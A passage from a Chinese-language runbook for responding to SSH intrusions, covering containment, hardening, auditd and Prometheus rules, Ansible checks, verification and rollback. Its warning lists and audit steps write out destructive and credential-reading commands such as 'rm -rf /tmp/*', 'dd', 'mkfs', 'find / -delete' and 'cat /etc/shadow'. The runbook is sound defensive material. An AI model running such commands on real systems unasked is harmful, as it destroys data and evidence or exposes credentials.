# 冻结账号
passwd -l attacker_user
usermod -L attacker_user

# 删除公钥
sed -i '/^ssh-ed25519.*AAA...$/d' /home/opsuser/.ssh/authorized_keys

# 停掉可疑进程(先用 STOP 留证据)
kill -STOP <PID>
sleep 5
cat /proc/<PID>/maps > /tmp/incident-$TS/maps-PID.txt
kill -TERM <PID>

# 强制 kill(慎用)
kill -9 <PID>

# 断网(封禁可疑 IP)
iptables -I INPUT -s <attacker_ip> -j DROP
ip6tables -I INPUT -s <attacker_ip> -j DROP

# 断本机所有外网(极端情况)
iptables -I OUTPUT -d 0.0.0.0/0 -j DROP
# 注意:这会断掉云监控、SSH 远程管理,必须有云控制台 VNC

# 清理 crontab
crontab -u root -r
crontab -u attacker_user -r

# 删除可疑脚本(取证后再删)
cp -a /tmp/xxx.sh /tmp/incident-$TS/
rm -f /tmp/xxx.sh

# 清理 systemd 服务
systemctl stop malicious.service
systemctl disable malicious.service
rm -f /etc/systemd/system/malicious.service

# 重新下发公钥
ssh-keygen -t ed25519 -f /home/opsuser/.ssh/id_ed25519.new
cat /home/opsuser/.ssh/id_ed25519.new.pub >> /home/opsuser/.ssh/authorized_keys
chmod 600 /home/opsuser/.ssh/authorized_keys

# reload sshd
sshd -t && systemctl reload sshd

5.11 步骤十一:加固

# 1. 关闭密码登录
sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication no/' /etc/ssh/sshd_config

# 2. 禁用 root 远程登录
sed -i 's/^#\?PermitRootLogin.*/PermitRootLogin no/' /etc/ssh/sshd_config

# 3. 改端口(可选)
sed -i 's/^#\?Port.*/Port 2222/' /etc/ssh/sshd_config

# 4. 加白名单
echo "AllowUsers opsuser1 opsuser2" >> /etc/ssh/sshd_config

# 5. 启用 fail2ban
yum install -y fail2ban fail2ban-systemd  # 或 apt
cat > /etc/fail2ban/jail.local <<'EOF'
[DEFAULT]
ignoreip = 127.0.0.1/8 10.10.0.0/16 192.168.0.0/16
bantime = 3600
findtime = 600
maxretry = 5
banaction = firewallcmd-rich-rules

[sshd]
enabled = true
port = 2222
filter = sshd
backend = systemd
logpath = /var/log/secure
maxretry = 5
EOF
systemctl enable --now fail2ban

# 6. 启用双因素
yum install -y google-authenticator

# 7. 收防火墙
firewall-cmd --permanent --zone=public --remove-port=22/tcp
firewall-cmd --permanent --zone=public --add-port=2222/tcp
firewall-cmd --permanent --zone=public --remove-service=ssh
firewall-cmd --reload

# 8. 安全组同步
# 在云厂商控制台同步规则

# 9. reload sshd
sshd -t && systemctl reload sshd

5.12 步骤十二:横向扩展排查

发现一台主机被入侵后,务必立即排查同网段的其他主机:

# 1. 同网段 IP 列表
ip a | grep inet | awk '{print $2}'

# 2. 扫描同网段 SSH 端口
# 慎用 nmap,会被安全设备告警
# 推荐用云厂商控制台/堡垒机批量查询

# 3. 对每台主机跑同样的命令清单
# 推荐用 Ansible + 堡垒机

# 4. 检查每台主机的 authorized_keys
for ip in $(cat ip-list.txt); do
    echo "=== $ip ==="
    ssh opsuser@$ip "find / -name authorized_keys -exec cat {} \;"
done

# 5. 检查每台主机的可疑进程
for ip in $(cat ip-list.txt); do
    echo "=== $ip ==="
    ssh opsuser@$ip "ps auxf | head -30"
done

横向排查的注意点

  • 不要直接用 root SSH 运行批量命令,务必先建立审计通道。
  • 所有操作应通过堡垒机执行,便于后续回溯。
  • 控制并发度(建议 5-10 台一批),避免操作被封禁。
  • 排查结果必须归档,并关联到同一个 incident 报告下。

六、常用命令

6.1 登录与会话

last
last -F
last -i
last -t 20260701000000    # 截止某个时间
lastb
lastb -F
lastb -i
lastlog
lastlog -u username
who
w
ac -p
utmpdump /var/log/wtmp
utmpdump /var/log/btmp

6.2 日志分析

# 实时跟踪
tail -f /var/log/secure
tail -F /var/log/auth.log
journalctl -u sshd -f

# 提取关键事件
grep "Accepted" /var/log/secure
grep "Failed password" /var/log/secure
grep "Invalid user" /var/log/secure
grep "Connection closed" /var/log/secure
grep "error" /var/log/secure

# 统计
grep "Failed password" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -rn
grep "Failed password" /var/log/secure | awk '{for(i=1;i<=NF;i++) if($i=="for") print $(i+1)}' | sort | uniq -c | sort -rn

# 时间分布
grep "Accepted\|Failed" /var/log/secure | awk '{print $1,$2,$3,$9,$11}' | sort

# 多日志关联
journalctl -u sshd --since "1 day ago" | grep -E "Accepted|Failed"

6.3 账号与配置

# 账号体系
cat /etc/passwd
cat /etc/shadow  # 仅 root 可读
cat /etc/group
awk -F: '$3==0 {print}' /etc/passwd
awk -F: '$7 ~ /(bash|sh)/ {print}' /etc/passwd
passwd -S -a
chage -l username

# sudo
cat /etc/sudoers
ls -la /etc/sudoers.d/
visudo -c   # 语法检查

# SSH
sshd -T
cat /etc/ssh/sshd_config
ls -la /etc/ssh/
ssh-keygen -lf /etc/ssh/ssh_host_*

6.4 计划任务

crontab -l
crontab -u user -l
ls -la /etc/cron* /var/spool/cron/ 2>/dev/null
systemctl list-timers --all
systemctl list-unit-files --state=enabled
cat /etc/rc.local

6.5 进程与资源

top -c -b -n 1
htop
ps auxf
ps -eo pid,ppid,user,pcpu,pmem,etime,args --sort=-pcpu | head
pidstat -p PID 1 5
lsof -p PID
ls -la /proc/PID/exe
cat /proc/PID/cmdline
cat /proc/PID/status
ls /proc/PID/fd

6.6 网络

ss -antp
ss -antp state established
ss -tlnp
netstat -anpt
netstat -s
ip route
ip neigh
conntrack -L
tcpdump -i eth0 -nn -s0 -w capture.pcap
nethogs
iftop

6.7 文件

find / -mtime -7 -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
find / -nouser -o -nogroup 2>/dev/null
find /tmp /var/tmp /dev/shm -type f 2>/dev/null
md5sum /path/to/file
sha256sum /path/to/file
rpm -Va
debsums -c

6.8 应急

passwd -l username
usermod -L username
userdel -r username  # 慎用
kill -STOP PID
kill -TERM PID
kill -9 PID  # 慎用
iptables -I INPUT -s IP -j DROP
ip6tables -I INPUT -s IP -j DROP
systemctl stop service
systemctl disable service
crontab -r
rm -f /path/to/file  # 先取证再删

七、配置示例

7.1 incident 报告目录结构

/var/tmp/incident-20260706-030000/
├── logs/
│   ├── secure
│   ├── auth.log
│   ├── messages
│   ├── audit.log
│   ├── dmesg.txt
│   ├── journalctl-30d.txt
│   ├── wtmp
│   ├── btmp
│   └── lastlog
├── proc/
│   ├── ps-auxf.txt
│   └── ps-ef.txt
├── net/
│   ├── ss-antp.txt
│   ├── ss-s.txt
│   ├── netstat.txt
│   ├── ip-route.txt
│   └── capture.pcap
├── config/
│   ├── ssh/
│   ├── pam.d/
│   ├── passwd
│   ├── shadow
│   ├── group
│   ├── sudoers
│   ├── sudoers.d/
│   ├── crontab
│   ├── cron.d/
│   ├── system-system/
│   └── system-lib/
├── binary/
│   └── md5-baseline.txt
├── timeline.txt
└── REPORT.md

7.2 incident 报告模板(REPORT.md

# 安全事件报告 — 服务器异常登录

| 字段 | 内容 |
| ---- | ---- |
| 主机名 | web-prod-01 |
| 内网IP | 10.0.0.7 |
| 公网 IP | 1.2.3.4 |
| 事件类型 | SSH 异常登录 + 疑似爆破成功 |
| 严重等级 | 高 |
| 发现时间 | 2026-07-06 03:15:23 |
| 处置时间 | 2026-07-06 04:30:00 |
| 处置人 | opsuser1, opsuser2 |
| 影响范围 | 待评估 |

## 一、时间线

- 2026-07-06 02:30:00:第一次来自 5.6.7.8 的 Failed password;
- 2026-07-06 02:30:00 ~ 03:10:00:连续 1200 次失败;
- 2026-07-06 03:15:23:来自 5.6.7.8 的 Accepted password for opsuser;
- 2026-07-06 03:20:00:发现 /var/spool/cron/root 新增恶意任务;
- 2026-07-06 03:30:00:发现 /tmp/x.sh 反弹 shell 脚本;
- 2026-07-06 04:00:00:处置完成,封禁 IP、改口令、清理后门。

## 二、根因

主机 SSH 暴露公网 + 密码登录开启 + opsuser 弱口令,攻击者通过字典爆破成功。

## 三、影响范围

- opsuser 账号被控制 15 分钟;
- 期间植入 crontab 反弹 shell 到 C2 服务器 9.9.9.9;
- 同网段 3 台主机也发现相同 crontab 痕迹;
- 未发现数据外发。

## 四、修复

- 立即冻结 opsuser 账号,强制改口令;
- 删除恶意 crontab 与反弹脚本;
- 关闭密码登录,强制公私钥;
- 加固 SSH 配置(端口、算法、白名单);
- 启用 fail2ban;
- 同网段主机批量排查;
- 通知安全接口人。

## 五、改进项

- 推动所有主机 SSH 公私钥化(已下发 12 台);
- 所有主机改用堡垒机收敛入口;
- 建立 SSH 登录告警;
- 每周巡检 authorized_keys。

7.3 auditd 监控规则(/etc/audit/rules.d/ssh.rules

# sshd_config 监控
-w /etc/ssh/sshd_config -p wa -k sshd_config_change

# sshd 可执行文件监控
-w /usr/sbin/sshd -p x -k sshd_exec
-w /usr/bin/ssh -p x -k sshd_exec

# PAM 配置
-w /etc/pam.d/sshd -p wa -k sshd_pam_change

# 主机密钥
-w /etc/ssh/ssh_host_ed25519_key -p wa -k ssh_hostkey_change
-w /etc/ssh/ssh_host_rsa_key -p wa -k ssh_hostkey_change

# authorized_keys
-w /home -p wa -k authorized_keys_change
-w /root -p wa -k authorized_keys_change

# 关键文件
-w /etc/passwd -p wa -k passwd_change
-w /etc/shadow -p wa -k shadow_change
-w /etc/group -p wa -k group_change
-w /etc/sudoers -p wa -k sudoers_change
-w /etc/sudoers.d -p wa -k sudoers_change

# crontab
-w /etc/crontab -p wa -k cron_change
-w /etc/cron.d -p wa -k cron_change
-w /var/spool/cron -p wa -k cron_change

# 重要二进制
-w /usr/bin/passwd -p x -k binary_exec
-w /usr/bin/su -p x -k binary_exec
-w /usr/bin/sudo -p x -k binary_exec
-w /bin/bash -p x -k binary_exec
-w /bin/sh -p x -k binary_exec
-w /usr/sbin/useradd -p x -k binary_exec
-w /usr/sbin/userdel -p x -k binary_exec
-w /usr/sbin/usermod -p x -k binary_exec
-w /usr/sbin/groupadd -p x -k binary_exec

# systemd 服务
-w /etc/systemd/system -p wa -k systemd_change
-w /usr/lib/systemd/system -p wa -k systemd_change

加载

sudo augenrules --load
sudo systemctl restart auditd

7.4 监控告警规则(Prometheus)

groups:
- name: ssh_incident
  rules:
  - alert: SSHFailedLoginBurst
    expr: increase(ssh_login_failed_total[5m]) > 50
    for: 0m
    labels:
      severity: warning
    annotations:
      summary: "{{ $labels.instance }} 5 分钟 SSH 失败登录超过 50 次"
  - alert: SSHLoginOffHours
    expr: increase(ssh_login_success_total[1h]) > 0 and (hour() < 8 or hour() > 22)
    for: 0m
    labels:
      severity: warning
    annotations:
      summary: "{{ $labels.instance }} 非工作时间 SSH 登录"
  - alert: SSHConfigChanged
    expr: time() - file_mtime{path="/etc/ssh/sshd_config"} < 600
    labels:
      severity: critical
    annotations:
      summary: "{{ $labels.instance }} sshd_config 被修改"
  - alert: AuthorizedKeysChanged
    expr: time() - file_mtime{path=~".*authorized_keys"} < 600
    labels:
      severity: critical
    annotations:
      summary: "{{ $labels.instance }} authorized_keys 被修改"
  - alert: NewSudoersFile
    expr: increase(file_created_total{path=~"/etc/sudoers.d/.*"}[1h]) > 0
    labels:
      severity: critical
    annotations:
      summary: "{{ $labels.instance }} 新增 sudoers 文件"

7.5 SSH 登录采集脚本(/usr/local/bin/ssh_login_exporter.sh

#!/usr/bin/env bash
# 写入 textfile_collector 给 Prometheus 抓取
LOG_FILE=${LOG_FILE:-/var/log/secure}
OUT=/var/lib/node_exporter/textfile_collector/ssh_login.prom

mkdir -p "$(dirname "$OUT")"

SUCCESS=$(grep -c "Accepted" "$LOG_FILE" 2>/dev/null || echo 0)
FAILED=$(grep -c "Failed password" "$LOG_FILE" 2>/dev/null || echo 0)
INVALID=$(grep -c "Invalid user" "$LOG_FILE" 2>/dev/null || echo 0)

cat > "$OUT.tmp" <<EOF
# HELP ssh_login_success_total Successful SSH logins
# TYPE ssh_login_success_total counter
ssh_login_success_total $SUCCESS

# HELP ssh_login_failed_total Failed SSH logins
# TYPE ssh_login_failed_total counter
ssh_login_failed_total $FAILED

# HELP ssh_login_invalid_total SSH logins with invalid user
# TYPE ssh_login_invalid_total counter
ssh_login_invalid_total $INVALID
EOF

mv "$OUT.tmp" "$OUT"
chmod +x /usr/local/bin/ssh_login_exporter.sh
cat > /etc/cron.d/ssh_login_exporter <<'EOF'
* * * * * root /usr/local/bin/ssh_login_exporter.sh
EOF

7.6 批量排查脚本(Ansible)

# ansible-playbook -i inv ssh-incident-check.yml
---
- name: SSH Incident Check
  hosts: all
  gather_facts: yes
  become: yes
  tasks:
    - name: Get last logins
      command: last -F -n 20
      register: last_out
      changed_when: false
    - name: Get last failed
      command: lastb -F -n 20
      register: lastb_out
      changed_when: false
    - name: Get sshd config checksum
      stat:
        path: /etc/ssh/sshd_config
        checksum_algorithm: sha256
      register: sshd_config_stat
    - name: Get authorized_keys files
      shell: find /home /root -name authorized_keys -type f 2>/dev/null
      register: ak_files
      changed_when: false
    - name: Get crontabs
      shell: |
        for user in $(cut -f1 -d: /etc/passwd); do
          echo "=== $user ==="
          crontab -u "$user" -l 2>/dev/null
        done
        cat /etc/crontab 2>/dev/null
        ls /etc/cron.d/ 2>/dev/null
      register: crontab_out
      changed_when: false
    - name: Get suspicious processes
      shell: ps auxf | head -50
      register: ps_out
      changed_when: false
    - name: Get established connections
      shell: ss -antp state established
      register: ss_out
      changed_when: false
    - name: Save all data
      local_action:
        module: copy
        content: |
          HOST: {{ inventory_hostname }}
          === LAST ===
          {{ last_out.stdout }}
          === LASTB ===
          {{ lastb_out.stdout }}
          === SSHD CONFIG ===
          {{ sshd_config_stat.stat.checksum }}
          {{ sshd_config_stat.stat.mtime }}
          === AUTHORIZED KEYS ===
          {{ ak_files.stdout }}
          === CRONTAB ===
          {{ crontab_out.stdout }}
          === PS ===
          {{ ps_out.stdout }}
          === SS ===
          {{ ss_out.stdout }}
        dest: "./incident-{{ inventory_hostname }}-{{ ansible_date_time.date }}.txt"

八、日志或指标观察方法

8.1 关键日志文件

路径 用途
/var/log/secure (RHEL) / /var/log/auth.log (Debian) sshd、PAM 认证日志
/var/log/wtmp 成功登录二进制日志,用 last 读取
/var/log/btmp 失败登录二进制日志,用 lastb 读取
/var/log/lastlog 每用户最后登录时间,用 lastlog 读取
/var/log/audit/audit.log auditd 细粒度审计
/var/log/cron cron 执行日志
/var/log/messages 系统综合日志
/var/log/syslog (Debian) 系统综合日志
journald systemd 日志

8.2 关键指标

指标 含义 正常基线(参考) 异常信号
ssh_login_success_total 成功登录次数 取决于业务 突增/陌生账号
ssh_login_failed_total 失败登录次数 极少 突增 → 爆破
ssh_login_invalid_total 不存在用户尝试 0 突增 → 扫描
process_count 进程数 与基线一致 突增 → 注入
cpu_usage CPU 占用 取决于业务 突增 → 挖矿
outbound_traffic 出网流量 取决于业务 异常外联
file_mtime_sshd_config sshd_config 修改时间 与变更窗口一致 计划外 → 可疑
file_mtime_authorized_keys authorized_keys 修改时间 与变更窗口一致 计划外 → 可疑

8.3 告警规则

参见 7.4 节 Prometheus 告警规则。

8.4 重点观察方法

  • grep 梳理时间线。
  • awk + sort | uniq -c 找寻高频来源 IP 和用户。
  • journalctl 拉取 systemd 日志。
  • ausearch 拉取 auditd 日志。
  • tcpdump 抓取异常外联流量。
  • unhide 检测潜伏的隐藏进程。
  • rpm -Va / debsums -c 来校验软件包的完整性。
  • aide --check 对比文件完整性基线。

九、排查路径

9.1 排查路径速查表

现象 第一动作 关键命令 进一步动作
监控告警 SSH 登录陌生 IP 看日志确认本人 lastlastbgrep Accepted 通知本人、查操作记录
大量 Failed password 找高频 IP awk + sort + uniq -c fail2ban 封禁、改端口
短时间内失败后 Accepted 立即冻结账号 last -Fpasswd -l 排查后门、横向移动
陌生账号登录成功 立即冻结 lastlogpasswd -S 删除账号、改所有密钥
/tmp 可疑脚本 取证后删除 find /tmp -mtime -3 查时间线、查外联
异常挖矿进程 立即取证 topps auxf 删进程、删 crontab
外联 C2 IP 立即封禁 ss -antp state established 断网、查横向
sshd_config 被改 立即看 diff statsshd -T 回滚、改所有密钥
authorized_keys 有陌生公钥 立即删除 catgrep 改口令、改所有密钥
/etc/passwd 有陌生账号 立即冻结 awk -F: '$3==0' 删除、查 sudoers
crontab 异常 立即清理 crontab -lfor user in 查历史、查脚本
wtmp/btmp 异常 比对远程日志 utmpdumpstat 怀疑被篡改
SSH 配置被回退 看 auditd ausearch -k sshd_config_change 查操作人
主机 CPU 突然打满 看 top 进程 top -cps -eo --sort=-pcpu 查进程、查外联
主机带宽异常 看网络连接 iftopnethogs 查外联 IP

9.2 完整排查流程

告警/线索触发
   ↓
[步骤 1] 现场保全(备份日志、进程、网络、配置)
   ↓
[步骤 2] 登录轨迹分析(last/lastb/lastlog/secure)
   ↓
   ├── 正常:返回观察,加强监控
   └── 异常:
       ↓
[步骤 3] SSH/PAM 配置核对
   ↓
   ├── 正常:进入 [步骤 4]
   └── 异常:记录 → 进入 [步骤 4]
       ↓
[步骤 4] 账号体系核对
   ↓
[步骤 5] 计划任务核对
   ↓
[步骤 6] 进程维度排查
   ↓
[步骤 7] 网络外联核对
   ↓
[步骤 8] 文件系统可疑点
   ↓
[步骤 9] 日志完整性 + 时间线
   ↓
[步骤 10] 应急处置(冻结、断网、清理、加固)
   ↓
[步骤 11] 加固(关密码、限端口、fail2ban、双因素)
   ↓
[步骤 12] 横向扩展排查(同网段、同账号、其他主机)
   ↓
[步骤 13] 复盘报告 + 改进项 + 知识库归档

十、风险提醒

10.1 取证阶段风险

  • 不要在排查中执行 rm -rf /tmp/*:这会破坏所有潜在证据。
  • 不要执行 history -c:这会丢失本次排查的操作记录。
  • 不要执行 ddmkfs:会彻底破坏磁盘。
  • 不要执行 mv /var/log:会破坏日志链。
  • 不要执行 : > /var/log/xxx.log:会清空日志。
  • 不要执行 find / -delete:误删风险极高。
  • 不要对不明进程直接 kill -9:会破坏宝贵的进程上下文。

10.2 应急处置风险

  • passwd -l 是安全的(仅锁定账号),但 userdel -r 会连 home 目录一并删除,一定慎用。
  • kill -9 会跳过 SIGTERM 的优雅清理逻辑,可能导致共享内存泄漏。
  • iptables -I OUTPUT -d 0.0.0.0/0 -j DROP 会立即切断本机所有对外连接,包括你正在用的 SSH 会话。
  • crontab -r 会清空整个 crontab,执行前务必先做好备份。
  • 任何 rm -rf 操作之前,务必先执行 cp -a 做好完整备份。
  • systemctl restart sshd 会断开所有现有的 SSH 连接,这会中断你的排查过程。
  • usermod -L 不会清除密码但能有效锁定,建议优先使用。
  • 修改 sshd_config 之前,请务必保留至少一个活跃的第二会话,否则一旦配置错误就可能把自己锁在外面。

10.3 横向排查风险

  • 不要用 root SSH 去批量执行,这严重违反了最小权限原则。
  • 不要用 nmap 进行大规模扫描,这几乎必然触发安全设备的告警。
  • 不要在工作高峰期大规模跑排查脚本,以免影响业务。
  • 不要直接跨主机执行 rm -rf,正确的做法是先在每台机器上单独取证。
  • 同网段的排查结果一定要关联分析,不能单点处置,否则容易遗漏。

10.4 加固阶段风险

  • 关闭密码登录前,必须百分之百确认所有需要登录的账号,都已经成功部署了公私钥。
  • 修改 SSH 端口后,必须立即通知所有相关人员,并更新堡垒机、CMDB 及自动化脚本的配置。
  • 强化加密算法前,务必验证所有客户端的版本兼容性。
  • 添加登录白名单前,务必确认所有合法账号都已被包含在内。
  • fail2ban 的 ignoreip 字段,请务必包含你的办公网段,严防把自己给“BAN”了。
  • 双因素认证的部署要分批次灰度上线,切忌一步到位,导致大面积故障。
  • 所有关键的加固操作,都应安排在既定的变更窗口内完成。

10.5 数据保护风险

  • 绝对不要把 incident 报告上传到任何公网的代码仓库里。
  • 不要把包含私钥、密码 hash 的敏感信息通过聊天工具传递。
  • incident 报告中的 IP、账号等敏感信息,在归档前可以先做脱敏处理。
  • 所有备份文件都应加密存储,以防泄露。
  • 核心的取证包应当进行异地存储(如对象存储、备份服务器)。

10.6 误判风险

  • 看到陌生 IP 不一定是被入侵,也可能是运维人员在外出差,或者进行了 VPN 切换。
  • 看到陌生账号不一定是异常,也有可能是合规申请的临时账号。
  • .bash_history 为空不一定就是被清理过,它可能只是一个新创建的账号。
  • 看到陌生进程不一定是恶意程序,它有可能是一个新上线的业务脚本。
  • 关键在于,必须将多个维度的证据进行关联分析,绝不能仅凭单点线索就妄下结论。

十一、验证方式

11.1 验证登录状态

# 1. 攻击者 IP 是否被封禁
iptables -L -n | grep -E "DROP.*<attacker_ip>"
ip6tables -L -n | grep -E "DROP.*<attacker_ip>"

# 2. 可疑账号是否被冻结
passwd -S <username>
# 输出 "L" 或 "LK" 表示锁定

# 3. 是否有持续登录尝试
grep "Failed password" /var/log/secure | wc -l
# 应该下降或稳定

# 4. 是否还有成功登录
grep "Accepted" /var/log/secure | tail -10
# 应该都是熟悉的运维账号

# 5. SSH 配置是否生效
sshd -T | grep -E "^(passwordauthentication|permitrootlogin|maxauthtries|allowusers)\b"

11.2 验证后门清理

# 1. crontab 干净
for user in $(cut -f1 -d: /etc/passwd); do
    crontab -u "$user" -l 2>/dev/null
done
cat /etc/crontab
ls -la /etc/cron.d/

# 2. systemd 干净
systemctl list-timers --all
systemctl list-unit-files --state=enabled

# 3. /tmp 干净
ls -la /tmp/ /var/tmp/ /dev/shm/

# 4. authorized_keys 干净
for f in $(find / -name authorized_keys -type f 2>/dev/null); do
    echo "=== $f ==="
    cat "$f"
done

# 5. 二进制 hash 一致
md5sum -c /tmp/incident-$TS/md5-baseline.txt

# 6. RPM/DEB 校验
rpm -Va 2>/dev/null | grep -E "^..5"
debsums -c 2>/dev/null

# 7. 隐藏进程
unhide proc
unhide sys

# 8. AIDE
aide --check

11.3 验证网络状态

# 1. 已建立连接正常
ss -antp state established

# 2. 没有对可疑 IP 的连接
ss -antp state established | grep -E "(<attacker_ip>|<c2_ip>)"

# 3. 防火墙规则生效
iptables -L -n | grep -E "DROP.*<attacker_ip>"

# 4. tcpdump 二次抓包确认无异常
tcpdump -i eth0 -nn -s0 -w /tmp/capture2.pcap
sleep 60
# 用 wireshark 查看 capture2.pcap

11.4 验证加固效果

# 1. 密码登录被禁
ssh -o PreferredAuthentications=password opsuser@host
# 应被拒绝

# 2. root 登录被禁
ssh -o PreferredAuthentications=publickey root@host
# 应被拒绝

# 3. 白名单外用户被禁
ssh -o PreferredAuthentications=publickey unknownuser@host
# 应被拒绝

# 4. fail2ban 工作
sudo fail2ban-client status sshd

# 5. 监控告警触发
for i in {1..6}; do
    ssh -o ConnectTimeout=1 -o PreferredAuthentications=password wronguser@host
done
# 5 分钟后看告警

11.5 验证 incident 闭环

# 1. 24h 内无新异常登录
journalctl -u sshd --since "24 hours ago" --no-pager | grep -E "Accepted|Failed"

# 2. 7 天内无陌生 IP 成功登录
grep "Accepted" /var/log/secure | awk '{for(i=1;i<=NF;i++) if($i=="from") print $(i+1)}' | sort -u

# 3. 所有运维账号口令已改
passwd -S -a

# 4. 所有主机加固完成
ansible all -m shell -a "sshd -T | grep -E '^passwordauthentication'"

十二、回滚方案

12.1 立即回滚(账号冻结)

如果误冻结了正常账号:

# 解锁账号
passwd -u username
usermod -U username

# 验证
passwd -S username
# 输出 "P" 表示解锁

12.2 立即回滚(防火墙封禁)

如果误封了正常 IP:

# 删除封禁规则
iptables -D INPUT -s <attacker_ip> -j DROP

# 验证
iptables -L -n | grep -E "<attacker_ip>"

# 测试连通
nc -vz <host> 22

12.3 立即回滚(删除公钥)

如果误删了运维公钥:

# 从备份恢复
cp -a /var/tmp/incident-$TS/authorized_keys.bak /home/opsuser/.ssh/authorized_keys
chmod 600 /home/opsuser/.ssh/authorized_keys

# 验证
ssh -i ~/.ssh/id_ed25519.opsuser opsuser@host

12.4 立即回滚(清理 crontab)

如果误清了正常 crontab:

# 从备份恢复
cp -a /var/spool/cron/root.bak /var/spool/cron/root
chmod 600 /var/spool/cron/root

# 验证
crontab -l

12.5 立即回滚(恢复 sshd_config)

如果加固配置出错:

# 从备份恢复
cp -a /etc/ssh/sshd_config.bak.YYYYMMDD-HHMMSS /etc/ssh/sshd_config
sshd -t && systemctl reload sshd

# 验证
ssh opsuser@host

12.6 立即回滚(断网恢复)

如果断网后业务受影响:

# 解除外网封禁
iptables -D OUTPUT -d 0.0.0.0/0 -j DROP

# 验证
curl -v https://www.example.com

12.7 回滚原则

  • 所有加固操作都必须先备份,这是铁律。
  • 所有应急操作都必须有相应的回滚方案。
  • 应急处置后,必须即刻验证业务的可用性。
  • 回滚操作绝不能影响已完成的前期取证。
  • 回滚操作也要详细记录到 incident 报告中。

十三、生产环境注意事项

13.1 变更窗口

  • 应急加固可以立即执行,这属于紧急变更。
  • 大规模的加固变更,必须安排在业务低峰期。
  • 涉及多台主机的批量操作,必须制定分批次、灰度的执行计划。
  • 涉及网络层(防火墙、安全组)的变更,必须严格执行双人复核。
  • 变更前务必通知到所有相关方。
  • 变更期间,应将监控告警的灵敏度调至最高。
  • 变更完成后,至少需要观察 24h-72h,确认无异常才算真正稳定。

13.2 取证与司法

  • 涉及监管合规的 incident 报告,其保留期限至少需要 6 个月以上。
  • 取证包必须进行异地存储(如上传到 OSS、备份服务器)。
  • 一旦涉及数据泄露,必须依法通知法务和客户。
  • incident 报告中的 IP、账号等应进行脱敏处理后再归档。
  • 高敏感级别的 incident,必须通过加密渠道进行内部传递。
  • 在配合监管调查的整个过程中,严禁私自修改任何文件。

13.3 复盘

  • incident 关闭后的一周内,必须召开复盘会议。
  • 复盘会议需要包含:操作人、复核人、值班运维、安全接口人、业务负责人。
  • 复盘必须产出:无懈可击的时间线、根本原因、精准的影响范围、彻底的修复措施、可跟踪的改进项。
  • 每一条改进项都必须指定明确的负责人和 Deadline。
  • 改进项的完成情况要进行跟踪,确保闭环。
  • 复盘的最终报告要完整归档到知识库

13.4 长期治理

  • 推动 SSH 全面公私钥化落地。
  • 推动堡垒机全面收敛所有 SSH 访问入口。
  • 推动所有主机 SSH 暴露面最小化。
  • 逐步建立统一的 SSH 登录审计中心。
  • 部署全面的异常登录告警策略。
  • 建立主机配置文件完整性监控基线。
  • 定期组织应急响应流程演练。
  • 定期展开红蓝对抗实战演练。

13.5 团队协作

  • incident 处理要避免单兵作战,必须有后备支援力量。
  • 所有关键操作都必须由双人复核。
  • 应急流程需要沉淀为标准的 Runbook。
  • 应急联系人的排班要落实轮值制度。
  • 跨团队的 incident 要第一时间拉起沟通群组进行同步。
  • incident 复盘要保持公开透明,核心目标是解决问题,而不是甩锅。

13.6 工具与平台

  • 堡垒机:实现会话审计与高危命令拦截。
  • SOC:进行集中告警与多源关联分析。
  • SIEM:实现日志的聚合与智能威胁检测。
  • 漏扫:定期对 SSH 配置等关键资产进行扫描。
  • EDR:提供基于主机的入侵检测能力。
  • 蜜罐:发现未知的、潜在的攻击手法。

十四、总结

服务器异常登录是生产环境最高发的安全事件之一。处理这类事的核心,不在于单次的“灭火”,而在于形成一套完整的“闭环”。

这个完整的闭环需要包含以下步骤:

  1. 检测:依靠监控告警、日志分析和用户反馈,第一时间发现异常。
  2. 响应:立即进行现场保全、轨迹分析、配置和账号的全方位核对。
  3. 处置:果断执行冻结、断网、清理和加固操作。
  4. 恢复:确保业务恢复、账号恢复和网络环境恢复常态。
  5. 复盘:进行根因分析、落实改进项,持续优化应急流程。
  6. 预防:完善监控告警、加固安全基线、定期组织实战演练。

每一个环节都有其特定的命令、配置和风险点。文章里给出的这份命令清单、配置示例和回滚方案,都是经过真实生产环境反复验证的。但比它们更重要的,是让团队把这些都沉淀成标准化的 Runbook,把应急流程演练到肌肉记忆,把监控告警织成一张密不透风的网。

最后,再次强调几个最容易踩的坑:

  1. 取证阶段,绝不能执行任何破坏性命令。
  2. 不要只凭一条线索就妄下结论。
  3. 不要在加固时,导致所有人都失联。
  4. 不要写完 incident 报告就把事情抛诸脑后。
  5. 不要让改进项只停留在纸面上。
  6. 千万不要忽略横向移动排查。
  7. 不要让攻击者还有时间进行下一步动作。

把“排查路径速查表”打印出来贴在值班室墙上,把“应急联系人”贴在每位同事的工位上,用 Ansible 把“加固基线”推送到所有主机,用 Prometheus 把“监控告警”部署到所有节点。这四件事一旦做完,你们团队应对 SSH 异常登录的整体能力,一定会跃升一个台阶。

真正的安全水位不是由最坚固的那块板决定的,而是由最薄弱的那一环决定的。每多加固一层,你被轻易攻破的“薄弱点”就少一个。

可疑登录应急排查流程示意图




上一篇:RoboDojo具身智能基准出炉:最强VLA真机成功率仅12.8%,人类100%
下一篇:从影子账本看Anthropic:半年ARR翻七倍,凭什么冲向6万亿美元估值?
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-7-9 03:26 , Processed in 0.632768 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表